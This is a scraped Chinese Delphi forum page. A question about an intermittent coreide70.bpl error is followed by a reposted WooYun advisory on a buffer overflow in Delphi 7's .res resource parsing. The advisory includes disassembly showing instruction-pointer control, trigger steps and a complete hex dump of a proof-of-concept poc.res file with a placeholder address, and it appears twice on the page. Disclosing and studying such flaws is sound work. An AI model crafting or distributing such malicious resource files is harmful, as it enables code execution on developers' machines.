打开工程文件时提示“..in module 'coreide70.bpl'”的错误 应该是bug吧 常遇到,重启一下又正常,有时候又偶尔出现... 解决方案 » 免费领取超大流量手机卡，每月29元包185G流量+100分钟通话, 中国电信官方发货 源代码使用的控件和Delphi内置的控件版本不一致导致的，具体请参看编译日志。 例如：Unit StdActns was compiled with a different version of Dialogs.TCommonDialog 之类的错误，源代码是用Delphi5开发的，现在用Delphi7编译 DELPHI7缓冲区溢出漏洞 | WooYun-2014-47549 | WooYun.org http://www.wooyun.org/bugs/wooyun-2010-047549详细说明：在处理.res文件时候，未检测相应结构大小，造成缓冲区溢出。攻击者可以构造特定的.res文件，即可利用此漏洞执行任意想执行的程序。漏洞文件coreide70.bpl文件版本7.0.4.453相关函数0049495C 8B45 08 mov eax, dword ptr [ebp+8] ; 这里eax被淹没 [eax] 可控0049495F 8B40 FC mov eax, dword ptr [eax-4] ; [eax-4]可控 eax 可控; 此时eax就是我们poc里面的41414141 设这个地址为ADD00494962 B9 01000000 mov ecx, 100494967 8B18 mov ebx, dword ptr [eax] ; ebx=[ADD] ebx可控00494969 FF53 0C call dword ptr [ebx+C] ; ebx可控 [[ADD]+c] 可控(eip可控) 可指向shellcode0013F821 31 31 31 31 31 31 31 31 31 31 31 31 41 41 41 41 111111111111AAAA0013F831 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 11111111111111110013F841 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 11111111111111110013F851 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 11111111111111110013F861 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111delphi.png漏洞证明：把这2个文件放在同一个文件夹下面。用delphi打开poc.dpr 既可以触发漏洞。poc.dpr(把下面数据以文本形式保存，重命名为poc.dpr）code 区域{$R *.res}poc.dpr（把下面数据以16进制的形式保存，重命名为poc.res）code 区域0000000020000000FFFF0000FFFF000000000000000000000000000000000000E802000020000000FFFF0300FFFF010000000000101004080000000000000000280000002000000040000000010004000000000000020000000000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF000B3111111111111000000000000000000BBB333333333110000000000000000008888B333333331000000000000000000033333333331100000000000000000000888888BBBBB10000000000000000000000333333333100044444000000000000008BBBB3B10004467676440000000000008BBBB331004767676676400000000000888BB3310226767667676400000000000BBBB3310277776762767400000000000BBBB3317777777222676640000000000888BB3177777772227676400000000000BBBB3318777222226766400000000000BBBB3318777222222666400000000000888BB31877772277222240000000000008BBB3318F777227222240000000000008BBB33187F7772222240000000000000888BB3172777222FB0400000000000000BBBB33172777222FB000000000000000888B331722777724BB00000000000000088BB310022222000BB0000000000000088BB3310000000000BB0000000000000088BB31000000000BBBB000000000000088BB331000000BBBBBBB7000000000000BBB333100000BBBBB0000B3333333333BBB3331000000BBBB0000BB3333333333BBB333000000BBBBB000BBB3333333BBBBBB330000000BBBBB008BBBBBBBBBBB88BBB300000000BBBBB88B8888888888888BB300000000BBBBB08888888888888888BB000000000BBB000000000000000000000000000000B0008001FFFF8001FFFF8001FFFFC003FFFFC003FFFFF00383FFF00E00FFF00C007FF008003FF808003FF800001FF800001FFC00001FFC00001FFC00001FFE00001FFE00003FFE00003FFF00003FFF00001FFF81838FFF80FFC7FFC0FC03FFC07E01FFE03E0F00003F0700003F0300003F8100003FC000003FC100003FE3FFFFFFF714000000C0010000FFFF0E004D00410049004E00490043004F004E0031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310041004100410041003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100000000000000001010040800000000000000000000010001002020100001000400E8020000010000注意偏移4BDH的0041004100410041（UNICODE编码 就是41414141，AAAA) 41414141H是我们随意写的，但是这个地址很重要。攻击者精心设计这个地址和周边的数据，既可以执行想要的shellcode 修复方案：检测大小 (quickreport)...今天客戶問我.. Delphi6问题 ？？？？？？ 菜单合并问问题，分不够可以到其实帖子加 fastreport如何自定义页码 SQL 语句问题（替一个妹妹提问，大家帮忙） 请问F2、F3相对应的键值，例如回车键=13 怎样在数据库中建立唯一索引？ 初学者的一个小问题（急） Total fields price,cost on type to newdbf 这句用SQL怎么写？？ 是delphi5有bug吗？ Delphi版顶起啊！共享桌面歌词效果 ACCESS复制A数据库xx表到B数据库XX表？
详细说明：在处理.res文件时候，未检测相应结构大小，造成缓冲区溢出。攻击者可以构造特定的.res文件，即可利用此漏洞执行任意想执行的程序。漏洞文件coreide70.bpl文件版本7.0.4.453相关函数0049495C 8B45 08 mov eax, dword ptr [ebp+8] ; 这里eax被淹没 [eax] 可控0049495F 8B40 FC mov eax, dword ptr [eax-4] ; [eax-4]可控 eax 可控; 此时eax就是我们poc里面的41414141 设这个地址为ADD00494962 B9 01000000 mov ecx, 100494967 8B18 mov ebx, dword ptr [eax] ; ebx=[ADD] ebx可控00494969 FF53 0C call dword ptr [ebx+C] ; ebx可控 [[ADD]+c] 可控(eip可控) 可指向shellcode0013F821 31 31 31 31 31 31 31 31 31 31 31 31 41 41 41 41 111111111111AAAA0013F831 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 11111111111111110013F841 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 11111111111111110013F851 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 11111111111111110013F861 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
delphi.png漏洞证明：把这2个文件放在同一个文件夹下面。用delphi打开poc.dpr 既可以触发漏洞。poc.dpr(把下面数据以文本形式保存，重命名为poc.dpr）
code 区域{$R *.res}poc.dpr（把下面数据以16进制的形式保存，重命名为poc.res）
code 区域0000000020000000FFFF0000FFFF000000000000000000000000000000000000E802000020000000FFFF0300FFFF010000000000101004080000000000000000280000002000000040000000010004000000000000020000000000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF000B3111111111111000000000000000000BBB333333333110000000000000000008888B333333331000000000000000000033333333331100000000000000000000888888BBBBB10000000000000000000000333333333100044444000000000000008BBBB3B10004467676440000000000008BBBB331004767676676400000000000888BB3310226767667676400000000000BBBB3310277776762767400000000000BBBB3317777777222676640000000000888BB3177777772227676400000000000BBBB3318777222226766400000000000BBBB3318777222222666400000000000888BB31877772277222240000000000008BBB3318F777227222240000000000008BBB33187F7772222240000000000000888BB3172777222FB0400000000000000BBBB33172777222FB000000000000000888B331722777724BB00000000000000088BB310022222000BB0000000000000088BB3310000000000BB0000000000000088BB31000000000BBBB000000000000088BB331000000BBBBBBB7000000000000BBB333100000BBBBB0000B3333333333BBB3331000000BBBB0000BB3333333333BBB333000000BBBBB000BBB3333333BBBBBB330000000BBBBB008BBBBBBBBBBB88BBB300000000BBBBB88B8888888888888BB300000000BBBBB08888888888888888BB000000000BBB000000000000000000000000000000B0008001FFFF8001FFFF8001FFFFC003FFFFC003FFFFF00383FFF00E00FFF00C007FF008003FF808003FF800001FF800001FFC00001FFC00001FFC00001FFE00001FFE00003FFE00003FFF00003FFF00001FFF81838FFF80FFC7FFC0FC03FFC07E01FFE03E0F00003F0700003F0300003F8100003FC000003FC100003FE3FFFFFFF714000000C0010000FFFF0E004D00410049004E00490043004F004E0031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310041004100410041003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100000000000000001010040800000000000000000000010001002020100001000400E8020000010000注意偏移4BDH的0041004100410041（UNICODE编码 就是41414141，AAAA) 41414141H是我们随意写的，但是这个地址很重要。攻击者精心设计这个地址和周边的数据，既可以执行想要的shellcode
修复方案：检测大小